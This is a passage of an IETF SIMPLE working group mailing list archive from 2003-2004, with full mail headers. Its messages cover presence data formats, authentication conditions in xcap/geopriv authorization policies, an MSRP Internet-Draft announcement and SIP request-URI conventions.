LS to transform my location into a lie or the ability to publish two 
location object and allow for selection?

I have to admit that I find adding complexity for willful 
misrepresentation a waste of resources (and hope that Ted's statement 
agrees with that...).

> Just my opinion, of
> course,
>             regards,
>                 Ted
> 
> 



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:19:34 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA28392
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:19:33 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjQ-0006YH-9p
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:17 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MKQiB7021262
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:26:44 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5W0R-0005Wr-7b
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 15:26:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18441
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 15:26:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0P-0006EM-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:26:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5VzU-00065r-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:25:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060F-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5VxA-0004c2-1N; Mon, 22 Mar 2004 15:23:20 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3xyb-0007NL-Uu
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 08:54:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA10939
	for <simple@ietf.org>; Thu, 18 Mar 2004 08:54:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3xya-0000WB-00
	for simple@ietf.org; Thu, 18 Mar 2004 08:54:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3xxf-0000OS-00
	for simple@ietf.org; Thu, 18 Mar 2004 08:53:28 -0500
Received: from smtp011.mail.yahoo.com ([216.136.173.31])
	by ietf-mx with smtp (Exim 4.12)
	id 1B3xwu-0000HG-00
	for simple@ietf.org; Thu, 18 Mar 2004 08:52:41 -0500
Received: from unknown (HELO yahoo.com) (emil?ivov@130.79.90.54 with plain)
  by smtp011.mail.yahoo.com with SMTP; 18 Mar 2004 13:52:39 -0000
Message-ID: <4059A9AC.1080201@yahoo.com>
From: Emil Ivov <emil_ivov@yahoo.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031221 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
CC: mandre@startx.u-strasbg.fr
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] cpim-pidf+xml or pidf+xml
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 14:52:44 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=3.4 required=5.0 tests=AWL,FORGED_YAHOO_RCVD,
	NO_RDNS_DOTCOM_HELO autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hello,

draft-ietf-simple-presence-10.txt says:
All subscribers and notifiers MUST support the 
"application/cpim-pidf+xml" presence data format described in [6].

It seems, however, that [6] expired a while ago and what replaced it on 
the IMPP WG page is apparently: draft-ietf-impp-cpim-pidf-08.txt

Yet it doesn't say anything about application/cpim-pidf+xml and 
describes application/pidf+xml instead.

Does that mean that  application/pidf+xml is the must-be-supported data 
format and not application/cpim-pidf+xml?

Thanx
Emil

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:31:21 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA01481
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:31:21 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjJ-0006YH-95
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:09 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id hAPFOKq9032432
	for simple-archive@odin.ietf.org; Tue, 25 Nov 2003 10:24:20 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOf33-0008Qd-91
	for simple-web-archive@optimus.ietf.org; Tue, 25 Nov 2003 10:24:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA22361;
	Tue, 25 Nov 2003 10:23:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOf2w-0006lr-00; Tue, 25 Nov 2003 10:24:10 -0500
Received: from [132.151.1.19] (helo=optimus.ietf.org)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOf2v-0006lo-00; Tue, 25 Nov 2003 10:24:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOf2s-0008Ic-EX; Tue, 25 Nov 2003 10:24:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOf2R-0008FO-60
	for simple@optimus.ietf.org; Tue, 25 Nov 2003 10:23:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA22331
	for <simple@ietf.org>; Tue, 25 Nov 2003 10:23:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOf2O-0006kc-00
	for simple@ietf.org; Tue, 25 Nov 2003 10:23:37 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOf2O-0006kY-00
	for simple@ietf.org; Tue, 25 Nov 2003 10:23:36 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id hAPFNYnG018332;
	Tue, 25 Nov 2003 09:23:34 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <3FC373EF.1010404@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031013 Thunderbird/0.3
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] xcap/geopriv alignment issue 4: authentication
References: <2038BCC78B1AD641891A0D1AE133DBB701797432@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797432@esebe019.ntc.nokia.com>
X-Enigmail-Version: 0.81.6.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 25 Nov 2003 09:23:27 -0600
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

hisham.khartabil@nokia.com wrote:

> 
>>-----Original Message-----
>>From: ext Ben Campbell [mailto:bcampbell@dynamicsoft.com]
>>Sent: 24.November.2003 23:00
>>To: Khartabil Hisham (NMP-MSW/Helsinki)
>>Cc: jdrosen@dynamicsoft.com; simple@ietf.org
>>Subject: Re: [Simple] xcap/geopriv alignment issue 4: authentication
>>
>>
>>hisham.khartabil@nokia.com wrote:
>>
>>
>>>Can the user at least have a say in accepting or rejecting 
>>
>>the subscription based on the availability of any 
>>authentication type. Eg: A user can reject subscriptions that 
>>are not authenticated in any way and accept subscriptions 
>>that are authenticated, regardless of authentication type.
>>
>>In the absence of _some_ authentication, what is the value of having 
>>authorization policies in the first place? They have no 
>>meaning if you 
>>cannot put some degree of trust in the requestor identity.
>>
>>I think the email world has proven to us how useful it is to 
>>authorize 
>>on un-authenticated headers. How useful is a spam filter that 
>>relies on 
>>the From header?
> 
> 
> Either I'm missing your point, or you missed mine. All I said was that the user should be able to reject subscriptions if they are not authenticated (authentication method is irrelevant).
> 

Ah, well, I can't disagree with that :-)

Ben.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:40:28 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03816
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:40:28 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjA-0006ZK-5E
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:00 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id hB1FeOsl024385
	for simple-archive@odin.ietf.org; Mon, 1 Dec 2003 10:40:24 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AQq9w-0006LE-EN
	for simple-web-archive@optimus.ietf.org; Mon, 01 Dec 2003 10:40:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15261;
	Mon, 1 Dec 2003 10:40:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AQq9t-0003T7-00; Mon, 01 Dec 2003 10:40:21 -0500
Received: from [132.151.1.19] (helo=optimus.ietf.org)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AQq9s-0003Sz-00; Mon, 01 Dec 2003 10:40:20 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AQq9Z-0006Ga-EB; Mon, 01 Dec 2003 10:40:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOvMw-0004bI-S5
	for simple@optimus.ietf.org; Wed, 26 Nov 2003 03:49:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27726
	for <simple@ietf.org>; Wed, 26 Nov 2003 03:49:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOvMu-0001dx-00
	for simple@ietf.org; Wed, 26 Nov 2003 03:49:52 -0500
Received: from albatross-ext.wise.edt.ericsson.se ([193.180.251.49])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOvMt-0001du-00
	for simple@ietf.org; Wed, 26 Nov 2003 03:49:51 -0500
Received: from esealnt610.al.sw.ericsson.se ([153.88.254.120])
	by albatross-ext.wise.edt.ericsson.se (8.12.10/8.12.10/WIREfire-1.8) with ESMTP id hAQ8nlI2006739;
	Wed, 26 Nov 2003 09:49:47 +0100 (MET)
Received: by esealnt610.al.sw.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <XT7B8Q5T>; Wed, 26 Nov 2003 09:49:55 +0100
Message-ID: <F8EFC4B4A8C016428BC1F589296D4FBF0558D53E@esealnt630.al.sw.ericsson.se>
From: "Vesa Torvinen (JO/LMF)" <vesa.torvinen@Ericsson.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        Simple WG
	 <simple@ietf.org>
Subject: RE: [Simple] xcap/geopriv alignment issue 4: authentication
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 26 Nov 2003 09:48:23 +0100

Hi, 

I think this mechanism goes back to a use case where a policy would define that "anyone that knows this password is allowed to subscribe". The user wouldn't exactly be interested in identities - just to be sure that the watcher knows the password. This use case is similar to the policies currently used in phone conferencing systems where the caller just needs to know the conference id, and related password - and not really to authenticate itself. 

I agree with you that forcing the use of S/MIME, TLS or P-Asserted-Identity may not be meaningful. However, having policies that mandates the use of HTTP Digest (or some other password based mechanism) may still be useful. 

Vesa

-----Original Message-----
From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
Jonathan Rosenberg
Sent: 24. marraskuuta 2003 8:13
To: Simple WG
Subject: [Simple] xcap/geopriv alignment issue 4: authentication


Folks,

Currently, xcap-auth defines an authentication condition. This allows 
you to decide whether to accept or reject a subscription based on the 
type of authentication used in the SUBSCRIBE request.

The geopriv policy specification currently has no such mechanism.

This was discussed during the geopriv meeting in Minneapolis. If you 
think about it for a bit, its not clear how this would actually get 
used. Remember, it is end users that will set these policies. What 
kind of meaningful information can be provided to a user about the 
differences between p-asserted-id and sip-identity and digest 
authentication? What would make a user give permission for one type or 
authentication, and not another? Practically speaking, it doesnt seem 
like its easy to use at all.

As a result, I would propose to remove the authentication condition 
from xcap-auth.

Comments?

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:59:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA08716
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:59:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Ris-0006Yx-LL
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:28:42 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id h9REKO0H026360
	for simple-archive@odin.ietf.org; Mon, 27 Oct 2003 09:20:24 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AE8EJ-0006r5-Uo
	for simple-web-archive@optimus.ietf.org; Mon, 27 Oct 2003 09:20:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA14869;
	Mon, 27 Oct 2003 09:20:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AE8EH-0005ZB-00; Mon, 27 Oct 2003 09:20:21 -0500
Received: from ietf.org ([132.151.1.19] helo=optimus.ietf.org)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AE8EH-0005Z6-00; Mon, 27 Oct 2003 09:20:21 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AE8E2-0006ds-Sp; Mon, 27 Oct 2003 09:20:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AE8D2-0006Gp-VH
	for simple@optimus.ietf.org; Mon, 27 Oct 2003 09:19:04 -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA14589;
	Mon, 27 Oct 2003 09:18:52 -0500 (EST)
Message-Id: <200310271418.JAA14589@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: simple@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: [Simple] I-D ACTION:draft-ietf-simple-message-sessions-02.txt
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 27 Oct 2003 09:18:52 -0500

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.

	Title		: Instant Message Sessions in SIMPLE
	Author(s)	: B. Campbell
	Filename	: draft-ietf-simple-message-sessions-02.txt
	Pages		: 57
	Date		: 2003-10-24
	
This document describes the Message Session Relay Protocol (MSRP), a
mechanism for transmitting a series of Instant Messages within a
session. MSRP sessions are managed using the SDP offer/answer model
carried by a signaling protocol such as SIP.
MSRP supports end-to-end Instant Message Sessions, as well as
sessions traversing one or two relays.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-simple-message-sessions-02.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-simple-message-sessions-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-simple-message-sessions-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-24161041.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-simple-message-sessions-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-simple-message-sessions-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-24161041.I-D@ietf.org>

--OtherAccess--

--NextPart--



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 19:04:33 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA28133
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:18:56 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjR-0006WI-Tn
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:17 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id hAK0cWvm003836
	for simple-archive@odin.ietf.org; Wed, 19 Nov 2003 19:38:33 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AMcpz-0000yR-WD
	for simple-web-archive@optimus.ietf.org; Wed, 19 Nov 2003 19:38:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA26207;
	Wed, 19 Nov 2003 19:38:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AMcpu-0007dt-00; Wed, 19 Nov 2003 19:38:18 -0500
Received: from [132.151.1.19] (helo=optimus.ietf.org)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AMcpt-0007dh-00; Wed, 19 Nov 2003 19:38:17 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AMcpe-0000es-6k; Wed, 19 Nov 2003 19:38:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AMcop-0000Lt-S0
	for simple@optimus.ietf.org; Wed, 19 Nov 2003 19:37:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA25783
	for <simple@ietf.org>; Wed, 19 Nov 2003 19:36:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AMckm-0007Hs-00
	for simple@ietf.org; Wed, 19 Nov 2003 19:33:00 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AMcYR-0006zX-00
	for simple@ietf.org; Wed, 19 Nov 2003 19:20:15 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 19 Nov 2003 16:19:59 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id hAK0Jgjq022334;
	Wed, 19 Nov 2003 16:19:43 -0800 (PST)
Received: from [128.107.171.228] ([128.107.171.228])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AKC46045;
	Wed, 19 Nov 2003 16:19:41 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: What does 3087 say (Was Re: [Simple] ad-hoc list
	subscriptions)
From: Cullen Jennings <fluffy@cisco.com>
To: Ben Campbell <bcampbell@dynamicsoft.com>
CC: Adam Roach <adam@dynamicsoft.com>, Paul Kyzivat <pkyzivat@cisco.com>,
        <Markus.Isomaki@nokia.com>, Dean Willis <dean.willis@softarmor.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>, <simple@ietf.org>
Message-ID: <BBE1489D.25E7F%fluffy@cisco.com>
In-Reply-To: <3FBBACEF.8030405@dynamicsoft.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 19 Nov 2003 16:19:41 -0800
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On 11/19/03 9:48 AM, "Ben Campbell" <bcampbell@dynamicsoft.com> wrote:

> 3087 has two major ideas. The first is, application behavior can be
> controlled by the r-URI. This is basically an extension of the idea that
> the r-URI designates the resource for the request. This is controversial
> in some areas, but not so much as the other idea.
> 
> The second idea is that the _customer_ owns the namespace, not the
> equipment vendor.

Ok, that makes some sense but clearly interoperable conventions in this
namespace are very useful. For example if the r-URI to most PSTN gateways
was something like 

+1-555-555-01000@gw.example.com;user=phone the result would be pretty
predictable. 



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 07:09:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA17121
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 07:09:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8eXL-00037Y-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 07:09:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8eVG-0002jD-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 07:07:32 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8eTX-0002PS-00; Wed, 31 Mar 2004 07:05:43 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B8eFS-0001jK-4o; Wed, 31 Mar 2004 06:51:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8eFJ-0008PK-R8; Wed, 31 Mar 2004 06:51:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8eF4-0008O0-Cp
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 06:50:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA16288
	for <simple@ietf.org>; Wed, 31 Mar 2004 06:50:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8eF0-0001CV-00
